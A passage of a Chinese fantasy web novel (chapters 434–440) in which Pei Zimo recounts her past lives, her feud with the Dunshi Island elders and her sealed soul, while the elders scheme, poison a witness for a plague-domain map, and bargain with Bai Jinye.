裴子墨轻轻摇了摇头,“九长老看出来我怀孕了,他一开始没对我动手,我还以为他是动了恻隐之心。可没想到,他是在等。孩子那时还没有完整的魂魄,即便死了,魂魄不全,就像你一样,不知道凌幽费了多大的力气才让你活下来,所以他一直等到了我生孩子的那天。” 第434章 百年之约 裴子墨深吸了一口气,睁开眼,“孩子生下来,就被九长老杀了,魂魄也被他带走。他就是想要看我痛苦,他说这就是背叛遁世岛的代价。他也没有急着杀我,他说我直接死了太便宜了,他要让我尝尽这世上所有的痛苦,让我以后再也不敢冒出来一点点对抗遁世岛的念头。” “好在因为之前帮地府做过鬼差,我还有联系阴司的方法,阴司来的也及时,我虽然受尽折磨,可死的时候也没有让九长老收走我的魂魄。” “我那时候确实开始动摇了,过了那么多那么多年,我甚至都已经不知道我做这件事的意义。你看我没有成功,但是这个世界上的人不是照样好好地活着,即便遁世岛偶尔作恶,可也没有太大的影响,不是么?” “为了这件事,我远离亲人,身边的人不断的死去,甚至于……我连自己的孩子都保护不了,我还想什么去保护别人的事?” “所以那次到了地府之后,我就进了炼魂谷,我在炼魂谷里千年,他在忘川千年。就像是孟婆说的,他熬过了忘川千年,那地府就必须要把我从炼魂谷捞出去,转世投胎。” “但那时候我心里只剩下了恨,修习术法也走偏门左道,成魔成佛,都在一念之间。” “入魔……不一定会做坏事。”凌珞拧起眉头,他也入魔,但也并没有因此多增杀戮。 “是啊,但若是心中有恶意呢?”裴子墨转头看他,“我倒也不是什么人都杀,我只是来了九域十二颠,但凡‘十一公’的后人以及和‘十一公’有关系的人,尤其是大长老和九长老的人,撞到我手里,我都不会放过。” “可也奇怪,以前是正常修炼,会遭受雷劫,但是这一世入魔,雷劫却迟迟不来。不过‘十一公’后人被人屠戮的事情,遁世岛也还是知道了,他们先后派出不少人来查看是怎么回事。” “他们来主动来,那就更好了。入魔的人,一旦见过血,就很难再控制了。我也怕我有一天会压制不住自己的魔性,所以在杀了遁世岛不少人之后,就藏了起来。” “最后来的那一次……是裴子衿来了。”裴子墨说着轻轻皱了下眉,“我觉得她来,大概是为了刺激我,让我彻底入魔失控,但是她嘴上却说是家里人给我的最后一次机会,只要我愿意认错,遁世岛既往不咎,她也是站在亲人的角度,想要劝我回头。” “我能回头么?我根本回不了头了,而且我也不想回头。” “那天,裴子衿私下跟我说,九长老带回去了一个婴儿魂魄,说那魂魄悟性极高,等我们都回了遁世岛,让一切回归到正轨,我依旧要嫁给大长老的儿子,她则会嫁给凌锦夜,等她怀孕了,那个孩子的魂魄就会被放在她肚子里的胎儿身上,她让我放心,她一定好好对待这个孩子。” “你说,这到底是想要劝我回头,还是想刺激我失控?” “我差点杀了她,如果不是凌锦夜突然出现,裴子衿怎么可能现在还活着?那时候凌锦夜就萌生退意了,他觉得耗费了这么多年,我们丝毫进展都没有,而我也变成了这个样子,他没办法接受。” “他觉得裴子衿的到来,算是遁世岛给了一个台阶,只要我们互相让步,这件事未必不能妥善解决,但是我伤了裴子衿,就是彻底断了这条路,他觉得……我已经走火入魔无可救药了。” “他带裴子衿离开疗伤,隔了很久才回来。他说九长老根本就没有把那个孩子的魂魄带回遁世岛,而是封印在某一处,那孩子的魂魄正在那里日夜遭受折磨。所以我和他一起去了琼华山那里。” “当时那里只是一处无名山峰,还不叫琼华山。但孩子的魂魄根本就不在那里,那里只有遁世岛早就设置好的封印大阵,只等着他把我引进去。” “在那大阵之下,我术法尽失,连自杀都不可能,他本来也没有必要在阵下陪着我,在遁世岛的眼里,他已经迷途知返,若是回了遁世岛,大概象征性的惩罚一下,这事应该就过去了。” “那一次,为了能彻底封印我,遁世岛出来了不少人,几乎可以说是倾囊而出,他们就算赢了,也是惨胜。大阵即将封顶,他要离开的时候,却被六长老一脚踹了下来,其实……他不是自愿留在大阵下面陪我的。” “我在大阵里,每一日都受焚身碎骨之刑,每受刑一次,我对他的恨就加深一分。我恨他,恨之入骨。但是……显然六长老把他留下,是别有用心。因为我自己没办法解脱,只能靠他……杀了我。” “我每天都求他杀了我,他一开始下不去手,就这样过了十一年,他大概也是看不下去我被折磨,终于在我的恳求下动了手。但是……大阵一旦失去镇压的人,遁世岛那边就会知道,我跟他说,只要我离开这,我就一定会继续杀人,我还是会让遁世岛不得安生。” “他说,他想让我过一世普通人的日子,试试看看,会不会更好些,他说只要我一心从善,不再伤人,他就会继续在这大阵里,替我承受大阵镇压之苦。我们定了百年之约,百年内,他不离开大阵,我不再伤人,不再对抗遁世岛,好好的过一世。” “可我没想到,大长老在我的魂魄上留下了印迹,我只要转世,哪怕转世成一只鸟,都会被人发现,我不断的转世,不断的夭折,就这样过了百年,那一次,我重新到了地府,远远的,就见到被鬼差押送的他。” “我才知道,原来百年之约已经到了。他依旧是遁世岛的人,到了地府,依旧要受地府的刑罚。” “而我……已经被鬼差所熟悉,他们都知道我因为得罪了遁世岛,甚至都没办法转世。” “那一次,有一个鬼差也实在看不下去了,他偷偷地跟我说,让我去找转轮王,转轮王负责转世轮回,遁世岛这样做,就是在挑衅转轮王,只要转轮王给我做主,也许就还有机会。” 第435章 一步一卦 凌珞看着裴子墨,之前他便猜测,地府那边帮着她的,很有可能就是负责轮回转世的转轮王。 “但是转轮王哪有那么好见啊。”裴子墨苦笑一声,“我跪在他殿外求见,在地府,不辩日夜,我也不知道自己跪了多久,但我也不想放弃,因为我不在这里,就要去投胎,去不断地经历夭折之事。” “我最终也没有见到转轮王,而是等到了秦广王。” “秦广王在十殿阎王的第一殿,专管夭寿生死、幽冥吉凶,无须受地府刑罚之人,便会由他直接送到转轮王那里转世,若是需要受刑罚,则要送到第二殿去衡量受刑。” “他跟我说,明知道对抗不过,该放弃的就该放弃。我就算在这跪一千年一万年,转轮王也不会见我。但是他手上倒是有一个转世去遁世岛的机会,他劝我不然就放弃,回遁世岛安安生生的过一世算了。” “他说‘神冥公’一脉有人在外面帮着遁世岛,已经盯死了我的魂魄,只要我在外面,就一定会被发现,但是灯下黑这种事常有发生,说不定我回了遁世岛就不会被人发现了。” “确实,如果我选择回遁世岛,就会在长老们的控制之中,他们也许从我出生的那一刻就会把我变成傀儡,从此一劳永逸。我自然不会答应他,可我一次不答应,他也不死心,会经常来找我,每次都用不同的条件诱惑我。” “比如凌锦夜。” “比如我们的孩子。” “但无论他说什么,我都没有答应他,后来干脆就不再理他。” “这样的日子又不知道过了多久,他才终于告诉我,他根本没有安排转世去遁世岛的机会,他只是在考验我。” “遁世岛在人界做的事情,最先扰乱的,就是地府的第一殿,秦广王对遁世岛的厌恶最深,其实从我和凌锦夜第一次进入地府的时候,他就已经盯上我们了,只不过我们毕竟是遁世岛的人,他不相信我们,直到这么多年以后,直到这一刻,他才终于愿意帮我。” “但他也没有给我指明该如何做,他只是帮我暂时脱离轮回,让我去秦广王殿帮忙。在那里,我可以看到寿谱,看到每一个人每一世的安排。我也想起当初我从遁世岛离开的时候,‘神算公’给我算出来的离岛之路,几步是一步一卦。” “这时候,秦广王也无意间向我透露,我魂魄上的印迹,虽然没有办法去除,但是可以想办法掩盖。而遮挡这印迹的同时,可能也会封印住我的一部分记忆和术法。” “于是我就尝试,在这印迹上盖上一层一层的封印,每一层封印在特定的时间,特定的地点,遇到特定的人的时候,就可以解除。” “我也找到了这样的一个人,确切的说,是两个人。前些年我以裴子墨的身份活着,只是单纯的为了活下来,不被遁世岛的人发现,等到了合适的时机,我就会成为裴清歌,以裴清歌的身份,接触一些人,解开一些封印。” “我也想过只用一个身份,但是若是只用一个身份,是没办法和这些我需要的人全都有交集的,而且每个人的既定安排,我是不能改变的,一旦改变,就会影响到秦广王这边,他第一个就会不同意。” “所以我就慢慢的谋划,一步一卦,把我需要的人,全都联合起来,把我需要做的事情,都提前安排好。因为我在秦广王殿里做事,所以也会不少阴司鬼差找我帮忙,这其中也包括孟婆,那些年里,地府不少人都因此欠了我人情。” “这些事,秦广王也都睁只眼闭只眼不曾过问,他也知道,只有更多的人帮我,我将来做的事情,才更有可能成功。” “现在我已经想起来所有的事情,但是那印记上还有最后一层封印,封印着我的七情六欲,这一层封印一旦解开,印记的气息就会散发出来,我在遁世岛面前就无所遁形了。所以,我不解开这层封印,不是因为我要掩藏什么。” 裴子墨抬眼看向凌珞,“只是还不到时候。” “所以,你……”凌珞收回手,指尖蜷缩进掌心,半响才问,“你还是恨他是么?鬼卿之前跟我说过的,你对他的恨不是假的……可既然如此,你为什么又安排他这一世的转世,又为什么再跟他相遇?你让他忘了所有的事情,就彻底的忘了不好么?” “那你说,他对我,是什么感情呢?”裴子墨轻声问道,“你是在那百年之约里诞生的,那百年里,他对我是恨,还是爱?” 凌珞微微摇了摇头,没有说话。 “或者说,两者都有。”裴子墨收回目光,“我有时候也很好奇,在忘川千年,他都没生出这么大的执念,怎么在那大阵下百年,就有了那么重的执念。” “现在,他大概也快想起这些事了。”凌珞开口道,“这些,你都预料到过么?” 裴子墨摇了摇头,“我曾经算卦的时候,就算到过,凌幽是个不可控制的因素,他也是。但因为有了凌幽,才有了现在的你,所以也算是好坏参半。对付凌幽,我找了袁澈和鬼卿帮忙,先毁了他的肉体,然后把魂魄封入九星灭仙阵。至于他……你说的对,你毕竟是他的一部分,可以用来牵制他,还有最关键的一点,就是把他炼制成我能控制的冥尸。” “但是,他和鬼卿同样是冥尸,他却有好几次从我的控制中挣脱开,前段时间,我重新加固了控制的阵法,只是不知道,是不是还会被他挣脱开。” “如果在关键的时候,他还能挣脱开呢?”凌珞轻轻皱起眉头。 裴子墨从软塌上站起身,伸了个懒腰,“那就要靠你了,凌珞。” “我?”凌珞不太明白。 裴子墨也没有回答,只是说,“到时候,你也别怪我,为了这件事,我已经付出太多,绝对不会因为任何人任何事有什么改变。” 第436章 他没来得及做的事 凌珞皱起眉头,“可你还没有回答我的问题,你既然觉得他是不可控的因素,为什么这一世还要……” “我有点累了。”裴子墨打断凌珞的话,“看样子,这雨也小了,应该能出去转转了。” 凌珞走了几步,拦在她面前,“那么多事都说了,就差这一件么?你不说,那我就只能猜测这件事里有隐情,你这一世,要继续对抗遁世岛,除此之外,你也想报复他是么?” 裴子墨抬眼看着他,轻笑了一声,“如果他还要帮遁世岛,那自然就是站在了我的对立面。” “那你有没有想过,他前世做那些,可能是有隐情?”凌珞眉头皱得更紧,“你没有告诉过他你们之间曾经有个孩子,后来他带你去那个大阵的时候,说是孩子的魂魄被镇压在那里,他有没有可能也被骗了?” 裴子墨垂下眼,半响才道,“关于这些,你没什么记忆么?” 凌珞顿了会,“不多……不完整。” 裴子墨转头看了看窗外,顿了会才道,“我曾经也像你这样猜测过,我们经历过那么多的事情,我也许应该相信他。我在秦广王殿的时候,他也在不断的转世,有一次我冒充鬼差,在他刚到地府神智不算清明的时候,让他带我去了他的三生石。” “他在忘川千年,只是为了偿还我曾为他跳过忘川,他已经不想再继续了,他想恩怨两清,一笔勾销。” “第三世我们虽然一路相伴,但手都没有牵过一次。他不想再爱我,我也没想过再爱他。他大概只是想陪我走完这一世,所有的事情在他那里,就全都结束了。我杀遁世岛的人,他也没少阻止,可能就是因为他开始想要回去了。” “裴子衿的到来,给了他希望,他觉得这是我们回遁世岛的最好的机会。孩子的事,也是裴子衿告诉他的……如果说这件事里面有隐情,那就是裴子衿告诉他,那个孩子在九长老手上,如果他和我都不回遁世岛,等九长老没了耐心,一定会让那个孩子魂飞魄散。” “裴子衿来找我们之前,和九长老谈了条件,最好的结果,是我们两个都回遁世岛,但退一步,如果裴子衿只能带他一个人回遁世岛,九长老也都会交出孩子的魂魄。我伤了裴子衿之后,他带着裴子衿离开,裴子衿就劝说他,我做了这么多事,将来就算回了遁世岛,长老们也不会放过我。” “那让那个孩子怎么办?他永远都在活在我的阴影之下,除非……没有我了,我不再是遁世岛的眼中刺,这孩子的身世才不会再有人提起,他才能像一个正常的孩子一样,重新出生、长大,过上正常人的生活。” “他犹豫了,这么多年,他累了,他不想再继续了,现在有了一个光明正大的借口,他只不过……是在做一个父亲应该做的事情,谁能指责他呢?” 裴子墨说着嗤笑了一声,“封印了我,他只要离开大阵,跟着大长老认错,乖乖的娶了裴子衿,所有的事情,就全都结束了。” “但是如果他想回遁世岛,不是说之前遁世岛的人已经来过了么?遁世岛的人没找到你,可找到他应该容易,怎么没把他带回去?”凌珞又问。 “因为六长老来了,六长老是不会把他带回去多的。”裴子墨说着皱了下眉头,“六长老宁愿他死在外面,也不会把他带回去的。如果因为他功亏一篑,六长老怎么对得起其他几位长老?” “那等他想起这些……”凌珞皱起眉头,说完这半句,他就没有再往下说,他毕竟不是白锦夜本人,他不知道他内心到底在想什么,他只是他的一丝执念,而这丝执念和裴子墨有关。 裴子墨迈步往外面走,“我猜测过你诞生的原因,我们曾经相爱过,他想要割舍,想必也不容易,他只能把跟我相关的情绪,全都剥离出来,形成了这丝执念。只不过在他死之前,他没能把你从他的身体里彻底剥离出来。” “他没来得及做的事,我便替他做了。我确实应该在这丝执念离开他的那一刻,就把这执念彻底散掉,这样他关于我的所有的情感,都会消失了。” “可你没能下得去手是么?”凌珞开口问道,“所以你才没有打散我,让我自生自灭,然后……我遇到了凌幽这样偏执的人,让我能够活下来。” 裴子墨迈步出了门,站在门口,转头看向凌珞,“看样子你最近跟鬼卿聊得不错,所以今天才会来找我,没事你就多跟他聊聊。”说完没再停留,在小雨中向远处走去。 凌珞拧起眉头,看着裴子墨的身影消失,轻轻地叹了一口气。 * 二长老等人在圣殿住了许久,都再没有感受到裴子墨的气息。二长老和凌霄还算是能沉得住气,但是九长老却坐不住了。 又把楚云颂找来,问了不少关于凌幽和凌珞的事情。 等楚云颂走了,九长老就看向凌霄,“哼,你们这一脉是怎么回事,什么事都做不好,当年若不是你那儿子,裴子墨也离不开遁世岛,这么多年,你那儿子都跟着裴子墨在外面帮着她。” “老九。”二长老皱起眉头,“为了这件事,老六一家已经快要家破人亡了,你怎么能这么说?” “当初也是他为了弥补过失,才举荐他在外面这一脉来帮忙,结果还不是让裴子墨找到了机会转世?那凌幽现在也不知道去哪了,早就没了消息,听楚云颂这话的意思,凌珞也是在帮着裴子墨了?”九长老看着凌霄,“我现在都在怀疑,你是不是也在帮着裴子墨了。” 他说着停顿了下,才又补充,“上一次子轩说已经带了凌锦夜回来,怎么后来就变成了别人?不是你暗中帮忙吧?” 凌霄眯眼看着九长老,“你若是这样怀疑我,以后的事我不插手就是了。” “哼。”九长老冷哼了一声,顿了顿,“我好像感受到了几丝裴家人的气息,这里还有姓裴的么?” 第437章 瘟神蜮的布置图 凌霄叫了袁澈过来,询问之下,才知道有个曾经的圣女候选人裴姝还在这里。 九长老便要袁澈把裴姝带过来见见。 裴姝如今已经是老态龙钟的模样,对此袁澈也没有隐瞒,“我们这一脉,都活不过二十二岁,她是为了帮我逆天改命,才变成了这副模样。” 闻言,凌霄叹了一口气,没有说话。 九长老捋了捋袖子,看着凌霄,“没有你在外面庇佑,你这后代想要活下来都是件难事。” “常游走于阴阳二界,难免。”凌霄开口道,“你们和地府都没有交流,不像是我们,天生如此,谁也没办法,咱们做过的那些事,地府一桩桩一件件全都记着,找不到别人,自然就全都算在我这一脉的人身上。” 九长老眯了眯眼,又看向二长老,隔了会才转头看向裴姝,不紧不慢地道,“不会就是因为这个,所以你才会想要帮着裴子墨吧?” 凌霄抬手拍了一下桌子,“老九,你别太过分,我一再的忍让你,不代表你就可以随意的往我身上扣屎盆子!” “急什么?”九长老轻笑一声,“六哥,连个玩笑都不能开了么?” 二长老轻咳一声,“开玩笑也要有分寸才是。”说完便看向裴姝,“把你知道的,关于凌珞和裴子墨的事情,都说一说。” 裴姝自从给袁澈续命之后,整个人已经在油尽灯枯的边缘,说话声音颤抖,上气不接下气,还是二长老给了她一颗药,她才勉强的把知道的事情都说了一遍。 “你是说,凌珞一开始让你离开北冥国,是让你去解决瘟神蜮的事?”二长老开口问道。 裴姝点点头。 “这瘟神蜮,可没那么好解决啊。”二长老眯起眼睛,这瘟神蜮当年是他们几人一起设下,时过境迁,这么多年,就算是让他去找,他都不见得能找到那些瘟神蜮所在的的地点,况且以裴姝的术法来看,想要解决他们设下的瘟神蜮,是根本不可能的事情。 “是凌珞给我了布置图,上面都标记好了瘟神蜮所在的地点,而且每一处瘟神蜮的解决方法,他也都提前告诉我了,虽然解决起来有点费力,但也不是不能。”裴姝解释道。 “布置图?你还有么?”二长老问道。 “有。”裴姝正要拿出布置图,犹豫了一下,又道,“想让我把布置图给你们也可以,只是……如今我就靠着一些丹药吊命,已经是离死不远了,三位都是术法高强之人,若是有办法能救我一命,这布置图我双手奉上。” 九长老看着她,轻笑了一声,裴姝这条命在他眼里自然什么都不算,他抬手敲了敲桌子,“想活下去,那也容易。”他说着拿出一粒丹药,扔给裴姝,“吃了这药,顶得住药效,长生不老都可以。” 二长老轻皱了下眉头,似是想要阻止,但犹豫了片刻,还是没有说话。 刚刚二长老给的丹药已经让裴姝尝到了甜头,她忽视了九长老说的“顶得住药效”这句话,直接就把药放在了嘴里。 丹药被她吞下去后,她的状态便以肉眼可见的速度好转,花白的头发变得青黑,皮肤上的皱纹逐渐消失,身体也充满了力气,整个人一下子就像回到了二三十岁的模样,甚至比她给袁澈续命之前还要年轻不少。 裴姝看着自己的双手,又摸了摸脸颊,大喜过望,片刻后,才反应过来,赶紧摸出瘟神蜮的布置图递给二长老。 二长老接过来看了会,也回忆了半天,才道,“这应该只是三分之一的布置图,剩下的呢?” 裴姝摇了摇头,“凌珞给我的,都在这了,他派我去的是西夜国,所以给我的,就是西夜国的瘟神蜮布置图,另外还有天风国和东凉国,我隐约的知道,裴洛和裴子墨好像是去了天风国,天风国瘟神蜮的布置图可能在她们身上,至于东凉国……也许是我们前任圣女去了。” “那解决瘟神蜮的法子呢?”二长老又问。 “那法子本来也是写下来的,但是……”裴姝小心翼翼地看了他们几个一眼,“后来我也是存了私心,剩下的几处瘟神蜮不想去解决了,就把剩下几处瘟神蜮的解决方法背下来,把那张纸烧了。” “烧了?”二长老拧起眉头,脸色不虞。 裴姝点点头,“不过我都背下来了,我可以默写下来。” “还有别人知道么?”二长老又问。 “没有了。”裴姝摇摇头。 二长老把布置图收起来,“没有就好,那就算了吧。” 裴姝不太明白他的意思,正要再说话,胸腔里突然传来一丝疼痛,随后血便不受控制地从她的口鼻涌了出来。 站在她旁边的袁澈躲了几步,他自从看到裴姝吃了九长老递过来的那粒药,就知道裴姝离死不远了。 裴姝显然一时之间有点懵,她有些无措地看着面前的三个人,出声呼救。 九长老冷笑一声,“不是说了,你得顶得住这药效,才能活下去,自己顶不住药效,那就不能怪别人了。” 裴姝倒在地上,连挣扎都不过几息,就彻底咽了气。 九长老收起裴姝的魂魄,“等回去交给裴家人,让他们自己处理吧。”说完他又看向凌霄,“六哥,你说凌珞怎么会有瘟神蜮的布置图呢?又怎么会有解决瘟神蜮的办法呢?他爹凌幽可都不知道这件事啊。” 凌霄皱起眉,“那我就不清楚了,凌幽在外面做的事,从来都不是向我汇报,我为了避嫌,也从来都不过问,他们父子的事,你想要知道,恐怕不能问我。” 九长老轻笑了一声,没有说话,但眼底却闪过一丝暗芒。 二长老沉默了片刻才道,“咱们出来也不少日子了,如今一点进展都没有,要是还是没什么消息,就只能先回去了。” “二哥,你急什么?”九长老开口道,“我就不信,裴子墨能一直躲下去,咱们就跟她耗着。”顿了顿,他又道,“反正闲着也是闲着,不如我去把被解决掉的瘟神蜮补上吧。” 第438章 这样的长辈,不论也罢 袁澈低着头,轻轻皱起眉,他能猜得到,凌珞有瘟神蜮的布置图,那就肯定是裴子墨给的,解决方法自然也不例外。 裴子墨让他去解决瘟神蜮,肯定是有她自己的安排,如果二长老要是把瘟神蜮都补上,那之前的事岂不是都白做了? “我们出来有我们自己要做的事情,不要节外生枝。”二长老皱了下眉开口道。 对于二长老会反对这个提议的事情,九长老似乎也不意外,他的表情带着几丝无所谓,又打量了下袁澈,继续对着凌霄,“凌幽不知所踪,凌珞又去帮着裴子墨了……但眼前这位,你叫什么啊,凌澈么?应该也是你们‘神冥公’一脉的人吧?” 袁澈没出声,也没有纠正九长老的说法。 “你们凌家的人,不能总是胳膊肘往外拐吧?想想办法吧,不然回了遁世岛,六哥你真的就不好交代了吧?”九长老说完,又打量着袁澈,“我们很多年不在外面走动,对外面的事情了解得也不那么多了,想要找人的话,不知道你有没有什么办法?” “我的人我的眼线,恐怕还没有楚云颂的多。”袁澈苦笑一声。 “那不如你去找楚云颂,告诉他一声,只要他能帮忙找到裴子墨,等我们回遁世岛的时候,就会带上他一起回去。”九长老继续道,“我看那楚云颂好像挺想去遁世岛的。” 袁澈微微点头,“好,我这就去转达。” 九长老又盯着袁澈看了会,没再说话,站起身正要离开,脚步突然又停了下来,抬眼向外面看去。 二长老也跟着皱起眉头,看了凌霄一眼,起身往外走了几步,“什么情况?” 两个人的身后,袁澈和凌霄诧异地对视。 有人上了圣殿,此刻正在大殿外朝这边走来,而这人的气息丝毫不陌生,正是白锦夜。 凌霄垂在身侧的手握成了拳头,他对袁澈使了眼色,袁澈点点头,慢慢地往后退,然后迅速的从侧门离开了。 下了圣殿,袁澈一分钟都没有停留,立刻骑着快马离开了北冥国。 裴子墨说过她一路往西,北冥国往西就是九域十二颠。 再加上关于血莲的事,他也知道不少,离得太远,他确实没办法控制裴子墨,可是他能追踪血莲的气息,即便气息微弱,也多少能感知一些。 袁澈离开的时候,白锦夜也到了大殿。 “上次要带你回去,你逃了,如今自己送上门来?”九长老冷笑一声,转头看了凌霄一眼,“看样子,你这儿子大有迷途知返之意。” 白锦夜没有理会九长老,进了大殿,便自顾自地坐下,甚至自己给自己倒了一杯茶。他慢悠悠地喝了口茶,才看向其他人,“你们这样看着我做什么?要聊什么坐下聊不好么?” “你这混小子,有没有点大小?这都是你的长辈,不会好好说话么?”凌霄往前几步,瞪着白锦夜,眼里却带着几丝质问。 他实在想不明白,白锦夜为什么会出现在这。如果白锦夜按照他给的那本书开始修习,现在应该是学有所成,若是好一点,估摸着已经想起以前的事情了,那他现在不是应该去找裴子墨么?怎么会出现在这里? 白锦夜抬眼看向凌霄,“长辈?什么长辈?我是天风国的王爷,我的长辈都在天风国,不知道你们是从哪里跟我论的长辈?”他说着轻笑了一声,“哦,若是说上辈子,或者上上辈子,或者不知道多少辈子之前的长辈,那不论也罢,不然要是这么论起来,我的长辈可太多了。” “说话这么硬气,看样子是有备而来了。”九长老打量了白锦夜一眼,回到自己的位置上坐下,“说吧,想聊什么,你是替裴子墨来给我们下马威了,还是想要回遁世岛了?” “我跟裴子墨不是一伙的,我也不想回遁世岛。”白锦夜看了看九长老,目光最后落在二长老的身上,“我来跟你们谈个交易,如果你们答应,我们就暂时合作,如果你们不答应,那就当我没来过。” “你都送上门了,还以为你能全身而退?”九长老嗤笑一声。 “那就算了。”白锦夜放下茶杯。 “等一下。”二长老开口道,“先说说,你想要什么,你能给我们什么。” “其实我对遁世岛来说,根本没那么大的作用,我在与不在,你们也根本不在乎。”白锦夜开口道,“所以我希望遁世岛能把关于我的一切都从遁世岛抹除,从此我跟遁世岛再没有任何关系。” 二长老微微皱了下眉头,“这个事情我没办法答应你,你得看你爹的意思。” 白锦夜倒也不急着要他们的答案,“还有第二件事,请九长老把我孩子的魂魄交还给我。” “什么孩子?”凌霄怔了一下,看了看白锦夜,又看向九长老。 白锦夜转头看了他一眼,“原来你也不知道啊?我的孩子。” 九长老轻皱了下眉头,没有说话。 他这态度,凌霄自然就明白了,他眯了眯眼,所以曾经裴子墨他们,有过一个孩子,但是这孩子已经不在了,魂魄还在九长老的手上!他这么多年,藏的可真好啊! “只要这两个条件你们答应我,我可以告诉你们裴子墨在哪,甚至……我也可以告诉你们,如今她最大的弱点是什么。”白锦夜继续道。 “荒唐!”凌霄拍了下桌子,“你生是遁世岛的人,死是遁世岛的鬼,想跟遁世岛划清界限?趁早死了这份心!” “我自从离开遁世岛,生生死死也不知道多少回了,可没有一次死了之后是遁世岛的鬼。”白锦夜轻笑一声,“所以我生也不想再是遁世岛的人。” “混账……” “诶,这件事未必没有可行性。”九长老打断凌霄的话,“锦夜在外面这么多年,对遁世岛早就没什么感情了,又何必勉强他非得回去呢?就像刚刚二哥说的,我们出来有我们要办的事,只要把我们要办的事办了,至于怎么办成的,我想大哥那边应该不会过于深究吧?” 第439章 我是被你们骗上这条船的 “这件事,我们需要商量下。”二长老看着九长老和凌霄剑拔弩张的样子赶紧开口道,这白锦夜突然找上门来,到底是真心想要谈合作还是裴子墨那边在耍什么花招都不得而知,总不能他们自己先起了内讧。 “行。”白锦夜点点头,“反正我也不走,那我就在这等你们商量个结果出来吧。”说完他站起身往外走了几步,“你们也不用管我,这里我还挺熟的,找个住的地方就不用你们费心了。” 白锦夜走后,凌霄三人争执了半响,也没有争执出个结果。 凌霄自然是坚决不同意白锦夜彻底离开遁世岛,二长老也觉得这件事要从长计议,况且那孩子的魂魄九长老也没有带在身边,最后只能是说先好好探探白锦夜这边到底是什么意思再做打算。 从大殿出来,九长老便招来了一个随从,在他的耳边低语了几句,那随从应了声就迅速的离开了。 凌霄看着那随从离开的身影,估摸着九长老是派人回去通知大长老,另外再把那孩子的魂魄带过来。 他脚步顿了顿,才朝白锦夜所在的地方走过去。 他进了房间,便抬手设下隔声的阵法,压抑的怒意再也忍不住,“凌锦夜,你疯了是不是?你在做什么说什么?你想要干什么?” “我不是凌锦夜,你也不用再这样叫我,我跟你们都不愿意再牵扯上任何关系。”白锦夜看着他开口道,“也许以前有的时候,我认为你们是在为我好,但现在想想,我有这样的想法都是很可笑的一件事。” “你在说什么混账话?你现在赶紧走!”凌霄怒视着白锦夜,“去做你应该做的事,今天就当你没来过!” “我应该做的事?”白锦夜冷笑一声,“就从来没有过我应该做的事!我做的所有的事情,不都是你们一步一步引诱我去做的?那到底是我应该做的事,还是你们应该做的事?” “我本来跟裴子墨哪有什么交集?是你每天回家都要提后山的事,每次跟我说话都要提到后山,让我对那里好奇,可我问什么,你又支支吾吾不肯说,我去后山,认识了裴子墨。那后山被各个长老设下了那么多阵法,如果不是你,我怎么可能避得开所有阵法和所有长老,没事就能顺顺利利地跑进后山?” “我当时想不明白,可我现在还想不明白么?因为裴子墨离开遁世岛,必须要有有一个能打开黄泉路的人帮忙。” “但是大哥是你重点培养的儿子,二哥性子软弱,唯唯诺诺,根本不可能有胆子做这件事,所以你就把我送到裴子墨的身边,这一切不都是你早就安排好的?” “裴子墨愿意帮你们办事,我就是被骗上你们这条船的。” “这些年在外面,裴子墨对我也大多都是利用。” “她为我跳过一次忘川,我也为她跳了一次,本来上一世就该扯平了,我能为她做的,已经都为她做完了,若是你没有把我打回阵法,上一世这一切就应该已经结束了。” “我已经再也不想和你们任何人有牵扯,我累了,我只想过平淡的生活,你们想怎么样,是你们的事。” “你不用再劝我,也不用再试图说服我,如果他们答应我的要求,我就会立刻离开,你们的事情,我也不会再多说一句,你插手了这件事的事,我也不会告诉任何人,就算是……还了你曾经的养育之恩。” 凌霄眯眼看着他,这话里显然是已经带了威胁他的意味,如果他再逼下去,白锦夜就会把他帮着裴子墨的事情说出来了,“好,你可真好……” “爹,爹,我听说锦夜来了?”凌霄的话还没说完,外面就传来锦成的声音。 凌霄挥手撤了术法,冷声道,“你们这一个两个的,没一个让人省心!”说完转身离开了房间。 锦成见凌霄脸色不好,也没敢多说话,等他走了,才向房间里看过来,“锦夜,你也和爹相认了?这还真是巧,以前我是你哥哥,这一世又反了过来,咱们……” 白锦夜抬起手一挥,房门便被关上,隔绝了锦成的视线。 锦成站在门口,怔了几秒,微微眯了眯眼,嘴角勾起一抹冷笑,转身朝另外一个方向走去。 * 袁澈一路都用最快的速度赶路,倒是找到了楚江颠,只不过他没办法引出黄泉路,所以就没办法过去。 好在寒羽和紫翅天鹏到处玩,飞到高处的时候,看到外面有个人在转,就去告诉了裴子墨。 裴子墨便让凌珞去接了袁澈过来。 她对他能找到这多少还是诧异的,自然也询问了出来。 袁澈有些尴尬地看了凌珞一眼,凌珞轻咳了一声,开口道,“圣女和血莲的事情,他知道的不少,我曾经教过他追踪血莲的方法,所以他就算感受不到你的气息,但是能感受到血莲的气息。如今这世上,也就只有你身体里这一朵血莲,他想找到这里,倒也不难。你放心,别人应该都不会了。” 裴子墨点点头,“遁世岛的人应该已经到了北冥国,你来找我是发生了什么事?” 袁澈看了看其他人,一时也不知道这话当着其他人面说出来是不是合适。 裴子墨也明白他的意思,便打发了其他人,就只剩下凌珞,似乎是不明白她的意思,依旧没有离开,她也就没勉强,看向袁澈,“说吧。” “白锦夜去了圣殿。”袁澈说着顿了顿,“我也不知道他去做什么,他刚来,六长老就暗示我离开来通知你。” “他去圣殿干什么?”凌珞有些诧异地问道。 裴子墨对此倒是没有觉得有多诧异,她只是看着袁澈道,“有人在你身上设了追踪气息类的术法,看样子九长老也还是怀疑你了。” “啊?”袁澈对此毫无察觉,“那怎么办?我是不是会把他们引过来了?” 裴子墨摇了摇头,“这楚江颠,应该能隔绝掉一些气息,不过他应该也知道你的大概方位,只要他们往这边来,估摸着就能猜到楚江颠。”说完她又笑着安抚道,“不过也没事,就算没有这术法,白锦夜也一样会告诉他们我在哪里。” 第440章 他选择什么,已经不重要了 凌珞皱起眉头,还不等说什么,便听裴子墨对袁澈道,“你一路过来也累了,先去休息吧,这件事我自有安排,你不用担心。” 袁澈点点头,站起身离开了。 “有什么安排?”凌珞看向裴子墨,“要是遁世岛的人真的来了,你能有什么安排?就凭我们这几个人,你觉得真是他们的对手?” 裴子墨饶有兴致地看着凌珞,“之前我没想起这些事,刚见到去遁世岛的地图的时候,你还说过你要陪我去遁世岛呢,那时候不怕,现在怎么怕了?” “那怎么一样?”凌珞拧起眉头,“我现在没有跟你开玩笑,你……你不急么?” 